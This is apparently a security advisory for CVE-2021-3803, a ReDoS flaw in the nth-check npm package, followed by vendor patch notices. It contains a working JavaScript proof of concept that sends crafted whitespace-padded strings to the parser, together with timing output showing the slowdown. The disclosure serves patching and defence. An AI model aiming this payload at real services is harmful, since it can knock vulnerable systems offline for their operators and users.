CVE-2021-3803

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

nth-check is vulnerable to Inefficient Regular Expression Complexity

TuxCare rebuilt diff to address 3 CVEs. Fixed in 1.0.2-tuxcare.1.

TuxCare rebuilt nth-check to address 1 CVE. Fixed in 1.0.2-tuxcare.1.

Root has patched CVE-2021-3803 in the @rootio/nth-check package for Root:npm. Multiple fixed versions available.

Yeting Li discovered that nth-check incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service.